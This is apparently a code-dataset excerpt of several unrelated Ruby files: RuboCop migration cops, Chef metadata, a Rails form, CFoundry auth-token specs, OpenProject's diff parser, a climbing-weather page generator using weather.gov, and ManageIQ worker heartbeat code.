if !value.is_a?(String)
raise ArgumentError, "Passwords must be a string"
end
end
def change_to_s(current, desire)
"Password changed"
end
end
end
| 19 | 59 | 0.64693 |
18c7f7584c0803a9175031cc5c1ab818ff591f03 | 1,241 | # frozen_string_literal: true
module RuboCop
module Cop
module Migration
class UpdatingDataInMigration < RuboCop::Cop::Cop
MSG = "Updating or manipulating data in migration is unsafe!".freeze
def on_send(node)
return if allowed_methods.include?(node.method_name.to_s)
add_offense(node) if forbidden_methods.include?(node.method_name)
end
private
def allowed_methods
cop_config["AllowedMethods"] || []
end
def forbidden_methods
%i[
update
update!
update_all
update_attribute
update_column
update_columns
toggle
toggle!
delete
delete_all
destroy
destroy_all
save
save!
]
end
end
class RenamingTableInMigration < RuboCop::Cop::Cop
MSG = "Renaming table on migration should be avoided".freeze
def_node_matcher :renaming_table?, <<-PATTERN
(send nil? :rename_table ...)
PATTERN
def on_send(node)
renaming_table?(node) { add_offense(node) }
end
end
end
end
end
| 22.981481 | 76 | 0.557615 |
b9a3cab1781c590b7b93fa45d0cf36f6ca793215 | 479 | maintainer "Alistair Stead"
maintainer_email "[email protected]"
license "Apache 2.0"
description "Installs/Configures chef-varnish"
name "chef-varnish"
long_description IO.read(File.join(File.dirname(__FILE__), 'README.md'))
version "1.0.6"
depends "apt"
depends "yum"
%w{redhat centos scientific fedora debian ubuntu arch freebsd amazon}.each do |os|
supports os
end
recipe "chef-varnish", "Installs and Configures Varnish 3.*"
| 26.611111 | 82 | 0.705637 |
ac91016eb010a83369329a3f6fe7a32bb40e0ec6 | 1,231 | class WhatLivingExpensesForm < Form
set_attributes_for :interview,
:has_rent_mortgage_expense,
:has_space_rent_expense,
:has_property_tax_expense,
:has_child_support_expense,
:has_home_insurance_expense,
:has_child_care_expense,
:has_medical_care_medicine_expense,
:has_wood_coal_expense,
:has_telephone_expense,
:has_water_sewage_expense,
:has_electricity_expense,
:has_propane_gas_expense,
:has_oil_expense,
:none
validate :at_least_one_expense_or_none_selected
def save
interview.update(attributes_for(:interview).except(:none))
end
def self.existing_attributes(interview)
attributes_to_checkbox_values(interview, attribute_names.reject { |name| name == :none })
end
private
def at_least_one_expense_or_none_selected
return true if attributes_for(:interview).values.any? { |value| value == "1" }
errors.add(:living_expenses, "Please select at least one option or 'none of the above.'")
end
end
| 34.194444 | 93 | 0.61251 |
01b455a85efe7830db579d8ba7c7f646dc7473f7 | 44 | module BeforeRender
VERSION = "0.1.0"
end
| 11 | 19 | 0.704545 |
4acfadcf03f55b474733a6533c0fd8d54489ffd9 | 103 | class User < ApplicationRecord
include Clearance::User
has_many :messages, dependent: :destroy
end
| 20.6 | 41 | 0.786408 |
e9750b43567c4d1d91ecbb785d0507ef30a9416d | 120 | require 'wink'
Pathname.glob(Rails.root + 'lib' + 'wink' + '*.rb').each do |lib|
require "wink/#{lib.basename}"
end
| 17.142857 | 65 | 0.625 |
f8d66a9100c14f0c6ae0127c0e91669e9103e369 | 1,000 | require 'csv'
class ClassificationsDumpWorker
include Sidekiq::Worker
include DumpWorker
attr_reader :project
def perform(project_id, medium_id=nil, obfuscate_private_details=true)
if @project = Project.find(project_id)
@medium_id = medium_id
begin
csv_formatter = Formatter::Csv::Classification.new(project, obfuscate_private_details: obfuscate_private_details)
CSV.open(csv_file_path, 'wb') do |csv|
csv << Formatter::Csv::Classification.project_headers
completed_project_classifications.find_each do |classification|
csv << csv_formatter.to_array(classification)
end
end
to_gzip
write_to_s3
send_email
ensure
FileUtils.rm(csv_file_path)
FileUtils.rm(gzip_file_path)
end
end
end
def completed_project_classifications
project.classifications
.complete
.joins(:workflow)
.includes(:user, workflow: [:workflow_contents])
end
end
| 27.027027 | 121 | 0.695 |
87c7598e01d7e182468c3d50a7313d3bdeae3943 | 4,006 | require "base64"
require "spec_helper"
describe CFoundry::AuthToken do
describe ".from_uaa_token_info" do
let(:access_token) { JWT.encode({user_id: "a6", email: "[email protected]"}, nil, 'none') }
let(:info_hash) do
{
:token_type => "bearer",
:access_token => access_token,
:refresh_token => "some-refresh-token"
}
end
let(:token_info) { CF::UAA::TokenInfo.new(info_hash) }
subject { CFoundry::AuthToken.from_uaa_token_info(token_info) }
describe "#auth_header" do
describe '#auth_header' do
subject { super().auth_header }
it { should eq "bearer #{access_token}" }
end
end
describe "#to_hash" do
let(:result_hash) do
{
:token => "bearer #{access_token}",
:refresh_token => "some-refresh-token"
}
end
describe '#to_hash' do
subject { super().to_hash }
it { should eq result_hash }
end
end
describe "#token_data" do
context "when the access token is encoded as expected" do
describe '#token_data' do
subject { super().token_data }
it { should eq({ :user_id => "a6", :email => "[email protected]"}) }
end
end
context "when the access token is not encoded as expected" do
let(:access_token) { Base64.encode64('random-bytes') }
describe '#token_data' do
subject { super().token_data }
it { should eq({}) }
end
end
context "when the access token contains invalid json" do
let(:access_token) { Base64.encode64('{"algo": "h1234"}{"user_id", "a6", "email": "[email protected]"}random-bytes') }
describe '#token_data' do
subject { super().token_data }
it { should eq({}) }
end
end
context "when the auth header is nil" do
before do
subject.auth_header = nil
end
describe '#token_data' do
it { subject.token_data.should eq({}) }
end
end
end
end
describe ".from_hash(hash)" do
let(:token_data) { {baz:"buzz"} }
let(:token) { JWT.encode(token_data, nil, 'none') }
let(:hash) do
{
:token => "bearer #{token}",
:refresh_token => "some-refresh-token"
}
end
subject { CFoundry::AuthToken.from_hash(hash) }
describe "#auth_header" do
describe '#auth_header' do
subject { super().auth_header }
it { should eq("bearer #{token}") }
end
end
describe "#to_hash" do
describe '#to_hash' do
subject { super().to_hash }
it { should eq(hash) }
end
end
describe "#token_data" do
describe '#token_data' do
subject { super().token_data }
it { should eq({ :baz => "buzz" }) }
end
end
end
describe "#auth_header=" do
let(:access_token) { JWT.encode({ user_id: "a6", email: "[email protected]" }, nil, 'none') }
let(:other_access_token) { JWT.encode({ user_id: "b6", email: "[email protected]"}, nil, 'none') }
subject { CFoundry::AuthToken.new("bearer #{access_token}") }
it "invalidates @token_data" do
subject.token_data
expect {
subject.auth_header = "bearer #{other_access_token}"
}.to change { subject.token_data[:user_id] }.from("a6").to("b6")
end
end
describe "#expires_soon?" do
let(:access_token) { JWT.encode({ exp: expiration.to_i }, nil, 'none') }
subject { CFoundry::AuthToken.new("bearer #{access_token}") }
context "when the token expires in less than 1 minute" do
let(:expiration) { Time.now + 59 }
it "returns true" do
Timecop.freeze do
expect(subject.expires_soon?).to be_truthy
end
end
end
context "when the token expires in greater than or equal to 1 minute" do
let(:expiration) { Time.now + 60 }
it "returns false" do
Timecop.freeze do
expect(subject.expires_soon?).to be_falsey
end
end
end
end
end
| 26.012987 | 116 | 0.574388 |
6a60217ae3047ce3880e475deb5c06dcac9210df | 5,060 | #-- encoding: UTF-8
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) 2012-2020 the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2017 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
module Redmine
# Class that represents a file diff
class DiffTable < Array
attr_reader :file_name
# Initialize with a Diff file and the type of Diff View
# The type view must be inline or sbs (side_by_side)
def initialize(type = 'inline')
@parsing = false
@added = 0
@removed = 0
@type = type
end
# Function for add a line of this Diff
# Returns false when the diff ends
def add_line(line)
unless @parsing
if line =~ /^(---|\+\+\+) (.*)$/
@file_name = $2
elsif line =~ /^@@ (\+|\-)(\d+)(,\d+)? (\+|\-)(\d+)(,\d+)? @@/
@line_num_l = $2.to_i
@line_num_r = $5.to_i
@parsing = true
end
else
if line =~ /^[^\+\-\s@\\]/
@parsing = false
return false
elsif line =~ /^@@ (\+|\-)(\d+)(,\d+)? (\+|\-)(\d+)(,\d+)? @@/
@line_num_l = $2.to_i
@line_num_r = $5.to_i
else
parse_line(line, @type)
end
end
true
end
def each_line
prev_line_left = nil
prev_line_right = nil
each do |line|
spacing = prev_line_left && prev_line_right && (line.nb_line_left != prev_line_left + 1) && (line.nb_line_right != prev_line_right + 1)
yield spacing, line
prev_line_left = line.nb_line_left.to_i if line.nb_line_left.to_i > 0
prev_line_right = line.nb_line_right.to_i if line.nb_line_right.to_i > 0
end
end
def inspect
puts '### DIFF TABLE ###'
puts "file : #{file_name}"
each(&:inspect)
end
private
# Escape the HTML for the diff
def escapeHTML(line)
CGI.escapeHTML(line)
end
def diff_for_added_line
if @type == 'sbs' && @removed > 0 && @added < @removed
self[-(@removed - @added)]
else
diff = Diff.new
self << diff
diff
end
end
def parse_line(line, _type = 'inline')
if line[0, 1] == '+'
diff = diff_for_added_line
diff.line_right = line[1..-1]
diff.nb_line_right = @line_num_r
diff.type_diff_right = 'diff_in'
@line_num_r += 1
@added += 1
true
elsif line[0, 1] == '-'
diff = Diff.new
diff.line_left = line[1..-1]
diff.nb_line_left = @line_num_l
diff.type_diff_left = 'diff_out'
self << diff
@line_num_l += 1
@removed += 1
true
else
write_offsets
if line[0, 1] =~ /\s/
diff = Diff.new
diff.line_right = line[1..-1]
diff.nb_line_right = @line_num_r
diff.line_left = line[1..-1]
diff.nb_line_left = @line_num_l
self << diff
@line_num_l += 1
@line_num_r += 1
true
elsif line[0, 1] = '\\'
true
else
false
end
end
end
def write_offsets
if @added > 0 && @added == @removed
@added.times do |i|
line = self[-(1 + i)]
removed = (@type == 'sbs') ? line : self[-(1 + @added + i)]
offsets = offsets(removed.line_left, line.line_right)
removed.offsets = line.offsets = offsets
end
end
@added = 0
@removed = 0
end
def offsets(line_left, line_right)
if line_left.present? && line_right.present? && line_left != line_right
max = [line_left.size, line_right.size].min
starting = 0
while starting < max && line_left[starting] == line_right[starting]
starting += 1
end
ending = -1
while ending >= -(max - starting) && (line_left[ending] == line_right[ending])
ending -= 1
end
unless starting == 0 && ending == -1
[starting, ending]
end
end
end
end
end
| 29.248555 | 143 | 0.575494 |
33fcdc49c512688f55045055a16a532400228c57 | 18,617 | require 'csv'
require 'fileutils'
require 'set'
require 'net/http'
require 'uri'
require 'json'
def create_crag_page(crags)
# determine unique metros
metros = Set[]
states = Set[]
state_locals = Hash.new
#TODO needs to loop through each metros cell
crags.each do |crag|
crag[:metros].split("|").each do |metro|
metros.add(metro)
end
states.add(crag[:state])
end
# determine the locales in each state
states.each do |state|
state_locals[state] = Set[]
end
#TODO combine into original crag loop?
crags.each do |crag|
state_locals[crag[:state]].add(crag[:name])
end
File.open("source/crags.html","w") do |f|
f << "---\n"
f << "### THIS FILE IS AUTO-GENERATED - DO NOT EDIT ###\n"
f << "layout: page\n"
f << "title: Climbing Weather\n"
f << "description: Real-time, precipitation-focused reports of current, past, and forecasted climbing weather for local climbing crags\n"
f << "---\n\n"
f << '<section class="measure center lh-copy f5-ns f6 ph2 mv4" style="text-align: justify;">'+"\n"
f << '<strong>"Is it dry?"</strong>, an oft-repeated, age-old question. Here are real-time,'+"\n"
f << 'precipitation-focused reports of current, past, and future climbing weather for crags located in the United States, sourced'+"\n"
f << 'from <a class="no-underline fancy-link relative light-red" target="_blank" href="https://www.weather.gov/documentation/services-web-api">weather.gov</a>.'+"\n"
f << "</section>\n\n"
f << '<section class="measure center lh-copy f5-ns f6 ph2 mv4" style="text-align: justify;">'+"\n"
f << '<h2 class="bb b--moon-gray">Crags by Nearest Metro</h2>'+"\n"
f << '<ul class="list pl3 f6 mt2">'+"\n"
metros.each do |metro|
metro_slug = metro.gsub(',', '').gsub(' ', '-').gsub(/[^\w-]/, '').gsub(/(-){2,}/, '-').downcase
f << '<li><a class="no-underline fancy-link relative black-70 hover-light-red" href="/crags/' + metro_slug + '-weather.html">' + metro + "</a></li>\n"
end
f << "</ul>\n"
f << '<h2 class="bb b--moon-gray">Crag by State</h2>'+"\n"
state_locals.each do |state, crags|
f << '<h3 class="mb2">' + state + "</h3>\n"
f << '<ul class="list pl3 f6 mt2">'+"\n"
crags.each do |crag|
crag_slug = crag.gsub(' ', '-').gsub(/[^\w-]/, '').gsub(/(-){2,}/, '-').downcase + '-' + state.gsub(' ', '-').gsub(/[^\w-]/, '').gsub(/(-){2,}/, '-').downcase
f << '<li><a class="no-underline fancy-link relative black-70 hover-light-red" href="/crags/' + crag_slug + '-weather.html">' + crag + "</a></li>\n"
end
f << "</ul>\n"
end
f << "</section>\n\n"
f << "{% include feedback.html %}\n"
end
end
def create_forecast(f, office)
uri = URI.parse('https://api.weather.gov/gridpoints/' + office + '/forecast')
response = Net::HTTP.get_response uri
f << ' var weekly_' + office.gsub('/', '_').gsub(',', '_') + ' = '
f << JSON.parse(response.body)["properties"].to_json
f << "\n"
sleep(0.5)
end
def create_hourly(f, office)
uri = URI.parse('https://api.weather.gov/gridpoints/' + office + '/forecast/hourly')
response = Net::HTTP.get_response uri
f << ' var hourly_' + office.gsub('/', '_').gsub(',', '_') + ' = '
f << JSON.parse(response.body).to_json
f << "\n"
sleep(0.5)
end
def crags_config(f, crags)
f << ' var crags_config = '
f << "[\n"
crags.each do |crag|
f << " {\n"
f << ' "name": "' + crag[:name] + '",'+"\n"
f << ' "note": "' + crag[:note] + '",'+"\n"
f << ' "mountainProject": "' + crag[:url] + '",'+"\n"
f << ' "station": "' + crag[:station] + '",'+"\n"
f << ' "office": "' + crag[:office] + '",'+"\n"
f << ' "coordinates": ['+"\n"
f << " " + crag[:lat] + ",\n"
f << " " + crag[:long] + "\n"
f << " ]\n"
f << " }"
if crag != crags.last
f << ",\n"
else
f << "\n"
end
end
f << "]"
end
def create_crags(crags)
# determine unique metros
metros = Set[]
local_crags = Hash.new
states = Hash.new
#TODO needs to loop through each metros cell
crags.each do |crag|
crag[:metros].split("|").each do |metro|
metros.add(metro)
end
end
# determine the crags near them
metros.each do |metro|
local_crags[metro] = [];
states[metro.split(", ")[1]] ? states[metro.split(", ")[1]].add(metro.split(",")[0]) : states[metro.split(", ")[1]] = Set[metro.split(", ")[0]]
end
crags.each do |crag|
crag[:metros].split("|").each do |metro|
local_crags[metro].push({ name: crag[:name], state: crag[:state], note: crag[:note], url: crag[:url], station: crag[:station], office: crag[:office], lat: crag[:lat], long: crag[:long] })
end
end
crags.each do |crag|
slug = crag[:name].gsub(' ', '-').gsub(/[^\w-]/, '').gsub(/(-){2,}/, '-').downcase + "-" + crag[:state].gsub(' ', '-').gsub(/[^\w-]/, '').gsub(/(-){2,}/, '-').downcase
File.open("source/_crags/" + slug + "-weather.md","w") do |f|
f << "---\n"
f << "### THIS FILE IS AUTO-GENERATED - DO NOT EDIT ###\n"
f << "layout: page\n"
f << "title: " + crag[:name] + ", " + crag[:state] + " Climbing Weather - Current, Past, and Forecasted Report\n"
f << "title_override: " + crag[:name] + "<br /><small>Climbing Weather</small>\n"
f << "description: A lightweight weather report for " + crag[:name] + ', ' + crag[:state] + ". Optimized for slow internet connections.\n"
# f << "state: Washington\n"
# f << "type: climbing\n"
f << "js_includes:\n"
f << " - weather.js\n"
# f << " - trip.js\n"
f << "---\n\n"
f << '<section class="measure center lh-copy f5-ns f6 ph2 mv4" style="text-align: justify;">'+"\n"
f << '<strong>"Is it dry?"</strong>, an oft-repeated, age-old question. Here are real-time,'+"\n"
f << 'precipitation-focused reports of current, past, and forecasted climbing weather for ' + crag[:name] + ', ' + crag[:state] + '.'+"\n"
# f << 'If it is too wet here, check for a dry crag near'
# local_crags.each do |metro, crags|
# if metro == crag[:metros:]
# url = metro.gsub(' ', '-').gsub(/[^\w-]/, '').gsub(/(-){2,}/, '-').downcase
# f << ' <a class="nowrap no-underline fancy-link relative light-red" href="/crags/' + url + '-weather.html">' + metro + '</a>'
# end
# end
# f << " and keep the stoke high.\n"
f << "</section>\n\n"
f << '<p id="settings-toggle" class="mw5 b center tc hover-light-red black-70 pointer">Show Instructions</p>'+"\n"
f << '<section id="settings" class="overflow-hidden" style="display:none;">'+"\n"
f << ' <div class="mv2 ph2 center">'+"\n"
f << ' <div class="fn f6 tc pv2">'+"\n"
f << ' <p class="measure lh-copy center"><strong>Show/hide hourly forecasts</strong> by clicking the desired day.</p>'+"\n"
f << ' <hr class="mw5 p0 mv2 o-60 b0 bt b--light-red light-red bg-light-red">'+"\n"
f << ' <p class="measure lh-copy center"><strong>Current and Past conditions</strong> are measured by the nearest weather station. <strong>Forecast conditions</strong> are calculated and polled separately.</p>'+"\n"
f << ' <hr class="mw5 p0 mv2 o-60 b0 bt b--light-red light-red bg-light-red">'+"\n"
f << ' <p class="measure lh-copy center"><strong>Having issues?</strong> Try <a id="clear-cache" class="no-underline relative fancy-link light-red hover-light-red" href="#">clearing the local cache</a>.</p>'+"\n"
f << ' <hr class="mw5 p0 mv2 o-60 b0 bt b--light-red light-red bg-light-red">'+"\n"
f << ' <p class="measure lh-copy center">Weather data sourced from <a class="no-underline fancy-link relative light-red" target="_blank" href="https://www.weather.gov/documentation/services-web-api">weather.gov</a>.</p>'+"\n"
f << " </div>\n"
f << " </div>\n"
f << "</section>\n"
f << '<section id="weather" data-crag="' + slug + '" class="mv4-ns mv3 ph2 center"></section>'+"\n"
f << '<section id="nearby" class="tc lh-copy">'+"\n"
f << ' <h3>Nearby Crags</h3>'+"\n"
local_crags.each do |metro, crags|
crag[:metros].split("|").each do |metro2|
if metro == metro2
crags.each do |crag2|
if crag2[:name] != crag[:name]
url = crag2[:name].gsub(' ', '-').gsub(/[^\w-]/, '').gsub(/(-){2,}/, '-').downcase + "-" + crag2[:state].gsub(' ', '-').gsub(/[^\w-]/, '').gsub(/(-){2,}/, '-').downcase
f << '<a class="nowrap no-underline fancy-link relative light-red mh3" href="/crags/' + url + '-weather.html">' + crag2[:name] + '</a>'+"\n"
end
end
end
end
end
f << '</section>'+"\n"
f << '<section id="nearby" class="tc lh-copy">'+"\n"
f << ' <h3>Other Metros</h3>'+"\n"
f << ' <select class="ma1 bg-near-white pa2" id="stateSel">'+"\n"
states.each do |state, cities|
f << ' <option value="' + state + '"'
state === crag[:metros].split('|')[0].split(', ')[1] ? f << ' selected' : f << ''
f << '>' + state + '</option>'+"\n"
end
f << ' </select>'+"\n"
f << ' <select class="ma1 bg-near-white pa2" id="citySel">'+"\n"
states[crag[:metros].split('|')[0].split(', ')[1]].each do |city|
f << ' <option value="' + city + '"'
city === crag[:metros].split('|')[0].split(', ')[0] ? f << ' selected' : f << ''
f << '>' + city + '</option>'+"\n"
end
f << ' </select>'+"\n"
state = crag[:metros].split('|')[0].split(', ')[1].gsub(' ', '-').gsub(/[^\w-]/, '').gsub(/(-){2,}/, '-').downcase
city = crag[:metros].split('|')[0].split(', ')[0].gsub(' ', '-').gsub(/[^\w-]/, '').gsub(/(-){2,}/, '-').downcase
f << ' <a id="selectMetro" class="f6 link dim ph3 pv2 ma1 dib white bg-light-red" href="/crags/' + city + '-' + state + '-weather.html">Select Metro</a>'+"\n"
f << ' <script>'+"\n"
f << ' var states = [];'+"\n"
states.each do |state, cities|
f << ' states["' + state + '"] = "' + cities.to_a.join('|') + '"'+"\n"
end
f << ' </script>'+"\n"
f << '</section>'+"\n"
# f << '<section class="center mw7 bg-white ph2 br bl b--near-white">'+"\n"
# f << ' <hr class="mw5 p0 mt4 mb3 o-70 b0 bt b--light-red light-red bg-light-red">'+"\n"
# f << ' <div class="mw6-5 center pv3 ph2">'+"\n"
# f << ' <div class="b f3-ns f4-ns f5 black-70">Ways to Get Involved In This Area</div>'+"\n"
# f << ' <p class="lh-copy f6 black-70">'+"\n"
# f << ' Here are organizations that need help to make sure the beauty and'+"\n"
# f << ' abundance is still there the next time you visit. For more information,'+"\n"
# f << ' see the <a class="no-underline fancy-link relative light-red'+"\n"
# f << ' hover-light-red" href="/get-involved"> Get Involved</a> section.'+"\n"
# f << ' </p>'+"\n"
# f << ' <div id="resources" data-state="{{ page.state }}" data-type="{{ page.type }}"></div>'+"\n"
# f << ' </div>'+"\n"
# f << '</section>'+"\n"
f << "{% include feedback.html %}\n"
f << '<p id="issues-toggle" class="mw5 b center tc hover-light-red black-70 pointer">Show Known Issues</p>'+"\n"
f << '<section id="issues" class="overflow-hidden tc f6">'+"\n"
f << "</section>\n\n"
f << "<script>\n"
create_forecast(f, crag[:office])
create_hourly(f, crag[:office])
crag_array = Array.new
crags_config(f, crag_array.push(crag.to_h))
f << "</script>\n"
end
end
end
def create_metros(crags)
# determine unique metros
metros = Set[]
local_crags = Hash.new
states = Hash.new
#TODO needs to loop through each metros cell
crags.each do |crag|
crag[:metros].split("|").each do |metro|
metros.add(metro)
states[metro.split(", ")[1]] ? states[metro.split(", ")[1]].add(metro.split(",")[0]) : states[metro.split(", ")[1]] = Set[metro.split(", ")[0]]
end
end
# determine the crags near them
metros.each do |metro|
local_crags[metro] = [];
end
crags.each do |crag|
crag[:metros].split("|").each do |metro|
local_crags[metro].push({ name: crag[:name], note: crag[:note], url: crag[:url], station: crag[:station], office: crag[:office], lat: crag[:lat], long: crag[:long] })
end
end
metros.each do |metro|
slug = metro.gsub(' ', '-').gsub(/[^\w-]/, '').gsub(/(-){2,}/, '-').downcase
File.open("source/_crags/" + slug + "-weather.md","w") do |f|
f << "---\n"
f << "### THIS FILE IS AUTO-GENERATED - DO NOT EDIT ###\n"
f << "layout: page\n"
f << "title: " + metro + " Climbing Weather - Current, Past, and Forecasted Report\n"
f << "title_override: " + metro + "<br /><small>Climbing Weather</small>\n"
f << "description: A lightweight climbing weather report for crags near " + metro + ". Optimized for slow internet connections.\n"
f << "js_includes:\n"
f << " - weather.js\n"
f << "---\n\n"
f << '<section class="measure center lh-copy f5-ns f6 ph2 mv4" style="text-align: justify;">'+"\n"
f << '<strong>"Is it dry?"</strong>, an oft-repeated, age-old question. Here are real-time,'+"\n"
f << 'precipitation-focused reports of current, past, and forecasted climbing weather for crags near ' + metro + ', sourced'+"\n"
f << 'from <a class="no-underline fancy-link relative light-red" target="_blank" href="https://www.weather.gov/documentation/services-web-api">weather.gov</a>.'+"\n"
f << "</section>\n\n"
f << '<p id="settings-toggle" class="mw5 b center tc hover-light-red black-70 pointer">Show Settings</p>'+"\n"
f << '<section id="settings" class="overflow-hidden" style="display:none;">'+"\n"
f << ' <div class="mv2 ph2 center">'+"\n"
f << ' <div id="menu" class="fn fl-ns w-50-l w-100 pv2 pr4-l">'+"\n"
f << ' <div class="f7 tc b">Select Defaults:</div>'+"\n"
f << " </div>\n"
f << ' <div class="fn f6 tc fl-ns w-50-l w-100 pv2">'+"\n"
f << ' <span class="f7 b">Instructions:</span>'+"\n"
f << ' <p class="measure lh-copy center"><strong>Show/hide crags</strong> by clicking on their name to the left; green mean shown and gray means hidden.</p>'+"\n"
f << ' <hr class="mw5 p0 mv2 o-60 b0 bt b--light-red light-red bg-light-red">'+"\n"
f << ' <p class="measure lh-copy center"><strong>Show/hide hourly forecasts</strong> by clicking the desired day.</p>'+"\n"
f << ' <hr class="mw5 p0 mv2 o-60 b0 bt b--light-red light-red bg-light-red">'+"\n"
f << ' <p class="measure lh-copy center"><strong>Current and Past conditions</strong> are measured by the nearest weather station. <strong>Forecast conditions</strong> are calculated and polled separately.</p>'+"\n"
f << ' <hr class="mw5 p0 mv2 o-60 b0 bt b--light-red light-red bg-light-red">'+"\n"
f << ' <p class="measure lh-copy center"><strong>Having issues?</strong> Try <a id="clear-cache" class="no-underline relative fancy-link light-red hover-light-red" href="#">clearing the local cache</a>.</p>'+"\n"
f << " </div>\n"
f << " </div>\n"
f << ' <hr class="cb mw5 p0 mb3 o-70 b0 bt b--light-red light-red bg-light-red">'+"\n"
f << ' <section class="mh5-ns mh2 pa3 ba b--moon-gray br2 bg-near-white">'+"\n"
f << ' <h3 class="mt2">Submit a New Area</h3>'+"\n"
f << ' <form class="black-80" name="new-crag" data-netlify="true">'+"\n"
f << ' <label for="mp-url" class="f6 b db mb2">Mountain Project Area URL</label>'+"\n"
f << ' <input id="metro" name="metro" type="hidden" value="' + metro + '">'+"\n"
f << ' <input id="mp-url" name="mp-url" class="input-reset ba b--moon-gray pa2 mb2 db w-100" placeholder="https://www.mountainproject.com/area/105833381/yosemite-national-park" type="text">'+"\n"
f << ' <div class="mt3"><input class="b ph3 pv2 input-reset ba b--black bg-white grow pointer f6" type="submit" value="Submit"></div>'+"\n"
f << ' </form>'+"\n"
f << ' </section>'+"\n"
f << "</section>\n"
f << '<section id="weather" data-metro data-crag="' + slug + '" class="mv4-ns mv3 ph2 center"></section>'+"\n"
f << "<script>\n"
local_crags[metro].each do |crag|
create_forecast(f, crag[:office])
create_hourly(f, crag[:office])
end
crag_array = Array.new
crags_config(f, local_crags[metro])
f << "</script>\n"
f << '<section id="nearby" class="tc lh-copy">'+"\n"
f << ' <h3>Other Metros</h3>'+"\n"
f << ' <select class="ma1 bg-near-white pa2" id="stateSel">'+"\n"
states.each do |state, cities|
f << ' <option value="' + state + '"'
state === metro.split(', ')[1] ? f << ' selected' : f << ''
f << '>' + state + '</option>'+"\n"
end
f << ' </select>'+"\n"
f << ' <select class="ma1 bg-near-white pa2" id="citySel">'+"\n"
states[metro.split(', ')[1]].each do |city|
f << ' <option value="' + city + '"'
city === metro.split(', ')[0] ? f << ' selected' : f << ''
f << '>' + city + '</option>'+"\n"
end
f << ' </select>'+"\n"
f << ' <a id="selectMetro" class="f6 link dim ph3 pv2 ma1 dib white bg-light-red" href="/crags/' + slug + '-weather.html">Select Metro</a>'+"\n"
f << ' <script>'+"\n"
f << ' var states = [];'+"\n"
states.each do |state, cities|
f << ' states["' + state + '"] = "' + cities.to_a.join('|') + '"'+"\n"
end
f << ' </script>'+"\n"
f << '</section>'+"\n"
f << "{% include feedback.html %}\n"
f << '<p id="issues-toggle" class="mw5 b center tc hover-light-red black-70 pointer">Show Known Issues</p>'+"\n"
f << '<section id="issues" class="overflow-hidden tc f6">'+"\n"
f << "</section>\n\n"
end
end
end
crags = CSV.read("crags.csv", {:headers => true, :header_converters => :symbol})
# clear the old crags markdown files
Dir.foreach('source/_crags') do |f|
fn = File.join('source/_crags', f)
File.delete(fn) if f != '.' && f != '..'
end
create_crag_page(crags)
create_crags(crags)
create_metros(crags)
| 50.452575 | 242 | 0.536499 |
b9625a224ee2ba600fe2c9e40026e9f9d2928d35 | 713 | # -*- encoding: utf-8 -*-
$:.push File.expand_path("../lib", __FILE__)
Gem::Specification.new do |s|
s.name = "units-in-ruby"
s.version = '0.0.1'
s.authors = ["Brandon Fosdick", "Meseker Yohannes"]
s.email = ["[email protected]"]
s.homepage = 'http://github.com/bfoz/units-ruby'
s.summary = %q{Extends Numeric to add support for tracking units of measure}
s.description = %q{Extends Numeric to add support for tracking units of measure}
s.files = `git ls-files`.split("\n")
s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n")
s.executables = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) }
s.require_paths = ["lib"]
end
| 39.611111 | 83 | 0.612903 |
01bec724a5dbf53c0411e1188bd09ec334e49e4a | 49 | COMMITS = "[%{id}] %{message} - by %{committer}"
| 24.5 | 48 | 0.55102 |
21587ceae681eb815663d4218094d78cdb3fd98b | 3,042 | module MiqServer::WorkerManagement::Heartbeat
extend ActiveSupport::Concern
def worker_add_message(pid, item)
@workers_lock.synchronize(:EX) do
if @workers.key?(pid)
@workers[pid][:message] ||= []
@workers[pid][:message] << item unless @workers[pid][:message].include?(item)
end
end unless @workers_lock.nil?
end
def update_worker_last_heartbeat(worker_pid)
@workers_lock.synchronize(:EX) do
@workers[worker_pid][:last_heartbeat] = Time.now.utc if @workers.key?(worker_pid)
end unless @workers_lock.nil?
end
def worker_heartbeat(worker_pid, worker_class = nil, queue_name = nil)
# Set the heartbeat in memory and consume a message
worker_class = worker_class.constantize if worker_class.kind_of?(String)
messages = []
@workers_lock.synchronize(:EX) do
worker_add(worker_pid)
update_worker_last_heartbeat(worker_pid)
h = @workers[worker_pid]
messages = h[:message] || []
h[:message] = nil
h[:class] ||= worker_class
h[:queue_name] ||= queue_name
end unless @workers_lock.nil?
# Special process the sync_ messages to send the current values of what to synchronize
messages.collect do |message, *args|
case message
when "sync_active_roles"
[message, {:roles => @active_role_names}]
else
[message, *args]
end
end
end
def worker_set_message(w, message, *args)
# Special process for this compound message, by breaking it up into 2 simpler messages
if message == 'sync_active_roles_and_config'
worker_set_message(w, 'sync_active_roles')
worker_set_message(w, 'sync_config')
return
end
_log.info("#{w.format_full_log_msg} is being requested to #{message}")
@workers_lock.synchronize(:EX) do
worker_add_message(w.pid, [message, *args]) if @workers.key?(w.pid)
end unless @workers_lock.nil?
end
def message_for_worker(wid, message, *args)
w = MiqWorker.find_by_id(wid)
worker_set_message(w, message, *args) unless w.nil?
end
def post_message_for_workers(class_name = nil, resync_needed = false, sync_message = nil)
processed_worker_ids = []
miq_workers.each do |w|
next unless class_name.nil? || (w.type == class_name)
next unless MiqWorker::STATUSES_CURRENT_OR_STARTING.include?(w.status)
processed_worker_ids << w.id
next unless validate_worker(w)
worker_set_message(w, sync_message) if resync_needed
end
processed_worker_ids
end
# Get the latest heartbeat between the SQL and memory (updated via DRb)
def validate_heartbeat(w)
if w.last_heartbeat.nil?
w.last_heartbeat ||= @workers[w.pid][:last_heartbeat] if @workers.key?(w.pid)
w.last_heartbeat ||= Time.now.utc
else
